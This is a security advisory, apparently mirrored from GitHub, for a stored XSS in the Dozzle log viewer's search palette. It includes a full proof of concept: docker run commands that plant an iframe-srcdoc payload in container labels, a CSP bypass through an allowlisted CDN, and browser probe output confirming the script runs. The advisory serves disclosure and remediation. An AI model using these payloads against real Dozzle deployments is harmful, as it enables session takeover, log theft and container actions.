# GHSA-8683-6WWR-Q7RQ: amir20/dozzle cross-site scripting (XSS)

- Database: GitHub
- Severity: CVSS 6.1 (Medium)
- Published: 2026-10-04
- Modified: 2026-10-04

## Affected versions

- amir20/dozzle (Go): from 8.5.0, fixed in none

## Description

## Summary

Container label values reach Dozzle's command palette through `v-html` with no HTML escaping, so anyone who can start a container on a monitored host can store arbitrary HTML that executes in the Dozzle origin of every user who uses the palette; the deployed CSP has no `script-src` and falls back to a `default-src` that allowlists cdn.jsdelivr.net, so an injected same-origin srcdoc iframe loads attacker-chosen remote JavaScript. Reproduced end-to-end on `amir20/dozzle:v11.1.1`: the remote script executed inside the injected iframe (`iframeOriginEq:true`, `jq:true`), while a single-label control stayed inert and inline `onerror=` handlers were CSP-blocked.

## Details

**Call chain.**

1. `assets/models/Container.ts:140-147`: `get namespace()` returns the first non-empty of the label values `dev.dozzle.group`, `coolify.projectName`, `com.docker.stack.namespace`, `com.docker.compose.project`; `assets/stores/swarm.ts:27,57`: `Service` name is the `com.docker.swarm.service.name` label value. Docker does not character-restrict label values.
2. `assets/stores/swarm.ts:12-51` (stacks) and `:53-71` (services) feed `assets/components/search/FuzzySearchModal.vue:300-334`, which pushes `name` into the palette item list.
3. `assets/components/search/FuzzySearchModal.vue:103`: `v-html="matchedName(entry.result)"`; `matchedName` (`:574-591`) concatenates `item.name` slices with `<mark>` wrappers and returns them with no HTML escaping (the no-match branch returns `item.name` raw). Vue `v-html` assigns to `innerHTML` verbatim.
4. Trigger: the victim opens the search/command palette (`assets/layouts/default.vue:46`) and types a matching query, or the poisoned stack/service appears in the empty-query recents row (`FuzzySearchModal.vue:383-391`).
5. CSP escalation (`internal/web/csp.go:11`): the served policy is `default-src 'self' 'wasm-unsafe-eval' blob: https://cdn.jsdelivr.net https://*.duckdb.org; style-src 'self' 'unsafe-inline' blob:; ...` with no `script-src`, so script-src falls back to default-src, which allows `https://cdn.jsdelivr.net` (present only for the duckdb-wasm bundle). Inline `onerror=` handlers are CSP-blocked, and a `<script src>` inserted directly via innerHTML does not execute per the HTML spec — but an injected `<iframe srcdoc="...">` creates a fresh same-origin document that inherits the parent CSP, inside which `<script src="https://cdn.jsdelivr.net/npm/<attacker-package>/x.js">` loads and runs. Allowing an open user-content CDN as a script source is a documented CSP anti-pattern.

**Contrast with the protected sibling sinks.** The codebase escapes HTML at its other render paths — `internal/web/search/escape.go` escapes server-side (the escape-then-mark order `matchedName` should mirror), `ComplexLogItem` values are server-escaped, `ContainerEventLogItem` uses static strings, and the GHSA-v879-vjhp-gmhc remediation added exactly this kind of sanitization to the log-message sink. `matchedName` is the only container-controlled sink found that feeds `v-html` with no escaping step, so escaping at sinks is clearly the design intent and this path skips it. No overlap with the agent/label-filter advisories (GHSA-m855, GHSA-xcw9, GHSA-r9cj), which concern server-side authorization, and the GHSA-v879-vjhp-gmhc remediation does not touch label metadata or this client palette sink.

**First bad commit.** Two commits matter. The unescaped sink is as old as the palette component: commit `9447b1e` (2024-06-10, "feat: display top 10 in fuzzysearch (#3023)") created `assets/components/FuzzySearchModal.vue` already containing `v-html="matchedName(...)"`. The script-execution escalation requires the CSP change from commit `90b9d9768583b651a74357985e23183f7311342e` (2024-09-19, "feat: duckdb wasm capibility (#3272)"), which added `https://cdn.jsdelivr.net` to `default-src` in `internal/web/csp.go` — the later of the two, and therefore the first bad commit for this advisory. `git tag --contains` puts the first affected tag at **v8.5.0** (released 2024-09-19); the sink and the swarm-label feed were verified present at that tag. Before v8.5.0 the same sink permits inert HTML injection only (inline handlers were already CSP-blocked), so the script-executing form is bounded below by v8.5.0.

## PoC

Step-by-step, from zero (steps reproduce a fresh end-to-end run; images can be pulled through a mirror prefix if Docker Hub is rate-limited):

**1. Environment.** Dozzle server with the Docker socket read-only, host port 18080:

```
docker run -d --name dozzle-poc -p 18080:8080 -v /var/run/docker.sock:/var/run/docker.sock:ro amir20/dozzle:v11.1.1
```

Victim browser: `chromedp/headless-shell:latest`, CDP mapped host port 9223 -> container 9222 (socat bridge from the image entrypoint), tab at `http://host.docker.internal:18080/`, driven over the CDP WebSocket with `websocket.create_connection(..., suppress_origin=True)` (bypasses the CDP 403 on cross-origin WebSocket handshakes). Dozzle's first-run wizard steals focus — click "Finish later" — and fetching the jsdelivr script requires the CDN to be reachable.

**2. Control experiment — the deployed CSP (escalation precondition).**

```
$ curl -sI http://127.0.0.1:18080/ | tr -d "\r"
HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Security-Policy: default-src 'self' 'wasm-unsafe-eval' blob: https://cdn.jsdelivr.net https://*.duckdb.org; style-src 'self' 'unsafe-inline' blob:; img-src 'self' data:; font-src 'self' data:;
```

`# <-` no `script-src` directive: script-src falls back to `default-src`, which allowlists `https://cdn.jsdelivr.net` — the escalation precondition (GET `/` returns 200 carrying the identical policy).

**3. Control experiment A — the dual-label gate (negative control).** Start a container with ONLY the stack label:

```
docker run -d --name evil-solo \
  --label 'com.docker.stack.namespace=pwn<iframe srcdoc="&lt;h1&gt;DZL-RENDER-OK&lt;/h1&gt;&lt;script src=https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js&gt;&lt;/script&gt;"></iframe>' \
  nginx:alpine
```

Open the palette (Ctrl+K), type `pwn` as real key events, probe the DOM from the page context. Verbatim probe:

```json
{"dialogOpen": true, "activeTag": "INPUT[text]=pwn", "typedValue": null, "paletteOpen": true, "entries": 0, "names": [], "nameElFound": false, "iframeFound": false, "innerHTML": null, "srcdocLen": 0, "iframeOriginEq": false, "h1Text": null, "jq": false}
```

`paletteOpen:true` with `activeTag:"INPUT[text]=pwn"` proves the query really was typed; `entries:0, names:[]` `# <-` the stack entry does not materialize — Dozzle's swarm store requires `com.docker.swarm.service.name` on a container in the namespaced group, so the poisoned name alone never reaches the palette, and a plain palette query injects nothing by itself.

**4. Control experiment B — the CSP does block inline handlers.** The `img onerror` variant of the payload propagates verbatim to the client through dozzle's `/api/events/stream` before any browser interaction (recorded excerpt):

```
"com.docker.stack.namespace":"\u003cimg src=x onerror=alert(document.domain)\u003e"
```

but it cannot execute: inline `onerror=` handlers are CSP-blocked under the step-2 policy. Together with step 6 (`jq:true`) this shows CSP enforcement is real and the sole gap is the `script-src` fallback to a `default-src` that allowlists cdn.jsdelivr.net.

**5. Bypass experiment — both labels (complete payload).**

```
docker run -d --name evil \
  --label 'com.docker.stack.namespace=pwn<iframe srcdoc="&lt;h1&gt;DZL-RENDER-OK&lt;/h1&gt;&lt;script src=https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js&gt;&lt;/script&gt;"></iframe>' \
  --label 'com.docker.swarm.service.name=svc2' \
  nginx:alpine
# victim opens Dozzle, presses the search shortcut (Ctrl+K), types a fragment of the stack name
```

The second label is required (control experiment A): the swarm store only materializes a stack entry when the namespaced group also contains a container carrying `com.docker.swarm.service.name`. The poisoned labels reach the client verbatim over `/api/events/stream` before any browser interaction:

```
{"name":"start", ..., "actorAttributes":{"com.docker.stack.namespace": "pwn<iframe srcdoc=\"&lt;h1&gt;DZL-RENDER-OK&lt;/h1&gt;&lt;script src=https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js&gt;&lt;/script&gt;\"></iframe>", "com.docker.swarm.service.name": "svc2", ..., "name": "evil2"}, ...}
```

**6. Expected output — browser probe (verbatim).** Reopen the palette, type `pwn`, wait ~6 s for the srcdoc iframe to fetch and run the jsdelivr script, then probe the DOM from the page context:

```json
{"dialogOpen": true, "activeTag": "INPUT[text]=pwn", "typedValue": null, "paletteOpen": true, "entries": 1, "names": ["pwn"], "nameElFound": true, "iframeFound": true, "innerHTML": "<mark>pwn</mark><iframe srcdoc=\"&lt;h1&gt;DZL-RENDER-OK&lt;/h1&gt;&lt;script src=https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js&gt;&lt;/script&gt;\"></iframe>", "srcdocLen": 104, "iframeOriginEq": true, "h1Text": "DZL-RENDER-OK", "jq": true}
```

Decisive fields (`# <-` annotations; values verbatim above):

- `entries:1, names:["pwn"]` `# <-` with both labels the poisoned stack entry materialized (control A returned `entries:0`).
- `innerHTML:"<mark>pwn</mark><iframe srcdoc=..."`, `iframeFound:true` `# <-` the label value was parsed as HTML by `v-html`: a real `<iframe srcdoc="...">` element exists inside the palette entry's `[data-name]` span.
- `iframeOriginEq:true` `# <-` the srcdoc document is same-origin with the Dozzle page (`contentDocument` accessible), so script inside it acts on the victim's session.
- `h1Text:"DZL-RENDER-OK"` `# <-` the demo `<h1>` rendered intact inside the injected iframe document.
- `jq:true` `# <-` `jQuery` is defined in the injected iframe's `contentWindow`: `https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js` was fetched and executed under the deployed CSP, proving `script-src` falls back to the `default-src` that allowlists cdn.jsdelivr.net. Any attacker-served script executes identically.

The screenshot channel shows the palette entry of type STACK with the Fuse `<mark>` highlight and the attacker's oversized `DZL-RENDER-OK` h1 rendered inline from the injected srcdoc iframe. One artifact worth stating plainly: in an earlier browser session using an id-attribute payload variant (verbatim record below), Fuse's highlight pass inserted `<mark>` around the query match inside the escaped srcdoc text and mangled the demo `<h1 id=...>` attribute — hence `h1Text:null` there. This is cosmetic: the iframe, the same-origin document, and the remote script execution reproduced in both runs (`iframeFound:true`, `iframeOriginEq:true`, `jq:true`); a real payload simply avoids repeating the query fragment inside itself.

```json
{"nameElFound":true,"iframeFound":true,
 "innerHTML":"<mark>pwn</mark><iframe srcdoc=\"&lt;h1 id=&lt;mark&gt;pwn&lt;/mark&gt;-dzl ...&gt;DZL-RENDER-OK&lt;/h1&gt;&lt;script src=https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js&gt;&lt;/script&gt;\"></iframe>",
 "h1Text":null,"jq":true,"srcdocLen":161,"iframeOriginEq":true,"paletteOpen":true,"entries":1}
```

## Impact

Stored XSS in the Dozzle origin triggered by routine use of the search palette. Attacker position is anyone who can start containers with arbitrary labels on a monitored daemon (shared dev/CI hosts, compose deployments where the project label is chosen by tooling under third-party influence); multi-tenant deployments that use per-user label filters remain exposed to cross-tenant injection whenever the victim can see any container the attacker influences. Within the victim's session the injected script can read logs, run exec (if the victim holds the shell role), perform container actions, and change notification/cloud configuration — same-origin requests carry the JWT cookie (SameSite=Lax). Remediation direction: HTML-escape the name before wrapping match slices in `<mark>` in `matchedName` (escape-then-mark, mirroring `internal/web/search/escape.go`), and add an explicit `script-src 'self' 'wasm-unsafe-eval'` that drops the open CDN from the script-source fallback (keep the CDN under `worker-src`/`connect-src` or self-host the duckdb bundle).

## References

- https://github.com/amir20/dozzle/security/advisories/GHSA-8683-6wwr-q7rq

Page: https://cve.now/GHSA-8683-6WWR-Q7RQ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
